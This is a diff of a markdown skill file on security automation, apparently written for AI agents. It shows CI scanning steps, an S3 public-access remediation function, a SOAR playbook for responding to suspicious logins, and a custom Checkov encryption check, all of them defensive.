- name: Container Scan
|
|
50
|
+
uses: aquasecurity/trivy-action@master
|
|
51
|
+
with:
|
|
52
|
+
scan-type: 'fs'
|
|
53
|
+
|
|
54
|
+
- name: Compliance Check
|
|
55
|
+
run: |
|
|
56
|
+
checkov -d . --framework terraform
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
## Automated Remediation
|
|
60
|
+
|
|
61
|
+
```python
|
|
62
|
+
# Auto-remediation script
|
|
63
|
+
def remediate_public_s3(bucket_name):
|
|
64
|
+
"""Remove public access from S3 bucket."""
|
|
65
|
+
s3 = boto3.client('s3')
|
|
66
|
+
s3.put_public_access_block(
|
|
67
|
+
Bucket=bucket_name,
|
|
68
|
+
PublicAccessBlockConfiguration={
|
|
69
|
+
'BlockPublicAcls': True,
|
|
70
|
+
'IgnorePublicAcls': True,
|
|
71
|
+
'BlockPublicPolicy': True,
|
|
72
|
+
'RestrictPublicBuckets': True
|
|
73
|
+
}
|
|
74
|
+
)
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
## SOAR Integration
|
|
78
|
+
|
|
79
|
+
```yaml
|
|
80
|
+
playbook:
|
|
81
|
+
name: Suspicious Login Response
|
|
82
|
+
trigger: alert.type == "suspicious_login"
|
|
83
|
+
actions:
|
|
84
|
+
- enrich_ip:
|
|
85
|
+
source: threat_intel
|
|
86
|
+
- if_condition: ip.is_malicious
|
|
87
|
+
then:
|
|
88
|
+
- block_ip:
|
|
89
|
+
firewall: cloudflare
|
|
90
|
+
- disable_user:
|
|
91
|
+
duration: 1h
|
|
92
|
+
- notify:
|
|
93
|
+
channel: security
|
|
94
|
+
- create_ticket:
|
|
95
|
+
priority: high
|
|
96
|
+
```
|
|
97
|
+
|
|
98
|
+
## Compliance as Code
|
|
99
|
+
|
|
100
|
+
```python
|
|
101
|
+
# Checkov custom check
|
|
102
|
+
from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck
|
|
103
|
+
|
|
104
|
+
class S3Encryption(BaseResourceCheck):
|
|
105
|
+
def __init__(self):
|
|
106
|
+
name = "Ensure S3 bucket has encryption enabled"
|
|
107
|
+
id = "CUSTOM_S3_1"
|
|
108
|
+
supported_resources = ['aws_s3_bucket']
|
|
109
|
+
super().__init__(name=name, id=id, ...)
|
|
110
|
+
|
|
111
|
+
def scan_resource_conf(self, conf):
|
|
112
|
+
if 'server_side_encryption_configuration' in conf:
|
|
113
|
+
return CheckResult.PASSED
|
|
114
|
+
return CheckResult.FAILED
|
|
115
|
+
```
|
|
116
|
+
|
|
117
|
+
## Best Practices
|
|
118
|
+
|
|
119
|
+
- Start with high-impact automations
|
|
120
|
+
- Test in staging first
|
|
121
|
+
- Include manual review gates
|
|
122
|
+
- Monitor automation effectiveness
|
|
123
|
+
- Regular rule updates
|
|
124
|
+
|
|
125
|
+
## Related Skills
|
|
126
|
+
|
|
127
|
+
- github-actions (`github-actions`) - CI/CD automation
|
|
128
|
+
- policy-as-code (`policy-as-code`) - Policy enforcement
|
|
129
|
+
|
|
130
|
+
## When to Use
|
|
131
|
+
|
|
132
|
+
- You need the security workflow covered by this skill (secrets, scanning, network defense, operations, AI security) inside an authorized scope.
|
|
133
|
+
|
|
134
|
+
## Limitations
|
|
135
|
+
|
|
136
|
+
- Apply guidance only within authorized scope; test destructive steps in non-production first.
|
|
137
|
+
- Docs-only import: upstream scripts and templates not bundled.
|
|
138
|
+
|
|
139
|
+
### Example
|
|
140
|
+
|
|
141
|
+
```bash
|
|
142
|
+
# Read-only first: inventory before any active step.
|
|
143
|
+
which <tool> && <tool> --help | head -n 20
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
> Adapted from [BagelHole/DevOps-Security-Agent-Skills](https://github.com/BagelHole/DevOps-Security-Agent-Skills) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: helper scripts and templates not bundled.
|